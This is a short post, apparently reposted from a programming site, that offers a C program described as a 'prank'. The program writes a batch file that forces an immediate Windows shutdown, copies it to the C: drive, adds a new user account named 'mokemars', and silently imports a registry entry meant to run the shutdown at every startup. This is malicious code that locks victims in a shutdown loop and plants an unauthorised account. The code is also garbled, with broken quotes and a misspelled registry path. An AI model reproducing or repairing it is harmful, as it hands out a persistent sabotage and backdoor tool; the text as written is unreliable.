C language prank!

xiaoxiao2021-03-05  21

I have written a small mischief with C language! Don't laugh at me, I am a rookie!

#include "stdio.h" #include "process.h" main () {file * fp1; file * fp2; char * string1, * string2, * string3, * string4, * string5; char * String6, * string7, * String8, * string9, * string10, * string11; fp1 = fopen ("system.bat", "w"); string1 = "echo shutdown -s -t 0 >> system.bat"; string2 = "Copy System.bat C: /system.bat "; string3 =" del system.bat "; string4 =" net user mokemars / add "; string5 =" shutdown -s -t 0 "; string6 =" echo windows registry editor version 5.00 >> 1 .reg "; String7 =" echo. >> 1.REG "; string8 =" echo [hkey_local_machine // suffware // microsoft // run] >> 1.REG "; string9 =" ECHO / "1 /" = / "c: system.bat /" >> 1.REG ";; string10 =" regedit -s 1.reg "; string11 =" del 1.reg "; fp2 = fopen (" 1.Reg "," w "); fclose (fp1); system (string2); system (string3); system (string6); system (string6); system (string7); system (string7); system ); System (string9); system (string10); system (string11); system (string5);}

转载请注明原文地址:https://www.9cbs.com/read-32669.html

New Post(0)